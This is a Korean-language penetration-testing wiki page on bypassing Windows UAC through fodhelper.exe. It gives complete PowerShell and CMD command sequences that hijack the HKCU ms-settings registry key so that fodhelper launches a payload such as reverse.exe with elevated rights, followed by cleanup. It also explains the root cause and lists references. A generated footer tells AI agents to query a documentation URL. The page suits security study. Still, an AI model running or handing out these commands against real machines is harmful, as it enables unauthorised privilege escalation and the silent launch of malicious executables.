# UAC Bypass

UAC(User Account Control)는 Windows에서 사용자 권한을 벗어나는 행위를 할 때, 관리자 권한으로 임시 승격할 수 있는 권한 상승 시스템입니다.

<figure><img src="/files/6OIk84oV1vqoMYh57qyi" alt=""><figcaption><p><a href="https://www.hahwul.com/2017/08/07/metasploit-meterpreter-windows7-uac/">https://www.hahwul.com/2017/08/07/metasploit-meterpreter-windows7-uac/</a></p></figcaption></figure>

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리 키 생성
</strong>New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force -ItemType Directory

<strong># DelegateExecute 빈 값 추가
</strong>New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

<strong># 관리자 권한 동작 입력
</strong>Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell.exe C:\Windows\Temp\update.exe"

<strong># fodhelper.exe 실행
</strong>C:\windows\system32\fodhelper.exe

<strong># 정리
</strong>Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
</code></pre>

{% endtab %}

{% tab title="CMD" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리 키 생성
</strong>reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f

<strong># DelegateExecute 빈 값 추가
</strong>reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

<strong># 관리자 권한 동작 입력
</strong>reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "cmd.exe /c C:\Users\Mick3y\reverse.exe" /f

<strong># fodhelper.exe 실행
</strong>C:\windows\system32\fodhelper.exe

<strong># 정리
</strong>reg delete "HKCU\Software\Classes\ms-settings" /f
</code></pre>

{% endtab %}
{% endtabs %}

2025년 8월 기준으로 Windows 10 Pro에서는 fodhelper.exe를 통한 UAC Bypass를 실습하기 위해 바이러스 및 위협 방지를 완전히 종료해야 합니다.

<figure><img src="/files/DcC72fuip7c096evIAYT" alt=""><figcaption></figcaption></figure>

## Root Cause

시스템에서 관리자 권한이 요구되는 모든 동작마다 UAC가 요구되는 것은 아니며, 다음 3가지 조건 중에서 하나라도 만족하지 않는 상황에서 나타납니다.

1. 실행 파일에서 `<autoElevate>true</authElevate>` 속성이 존재
2. 신뢰할 수 있는 경로(C:\Windows\System32 등)에서의 실행 여부
3. 유효한 전자 서명 여부

프로그램의 manifest 속성을 확인하는 도구인 CFF Explorer를 통해 속성 확인이 가능합니다.

{% embed url="<https://ntcore.com/explorer-suite/>" %}

<figure><img src="/files/dgqyY4mlZ3hCTW1wViTo" alt=""><figcaption><p>C:\Windows\System32\fodhelper.exe</p></figcaption></figure>

fodhelper.exe는 기능 추가 관리자(Features on Demand Helper)의 역할이며, 이 파일이 실행될 때는 반드시 ms-settings.exe를 실행합니다. 그리고 ms-settings.exe가 실행될 때 `HKCU\Software\Classes\ms-settings\shell\open\command` 키 값이 같이 실행됩니다.

결과적으로 공격자가 ms-settings 레지스트리 키 값에 악성 코드를 삽입하면 fodhelper.exe를 실행했을 때 관리자 권한으로 행위할 수 있습니다.

{% hint style="info" %}
Microsoft는 UAC Bypass를 취약점으로 인정하지 않지만, 인터넷에 알려진 기법의 경우 Windows에서 패치합니다.
{% endhint %}

## Demo

<figure><img src="/files/HfGWMnZjm50cqRoIKJnj" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://leemon.tistory.com/46>" %}

{% embed url="<https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies>" %}

{% embed url="<https://tech.somma.kr/UACbypass/>" %}

{% embed url="<https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/UACBypass.md>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/windows/uac-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
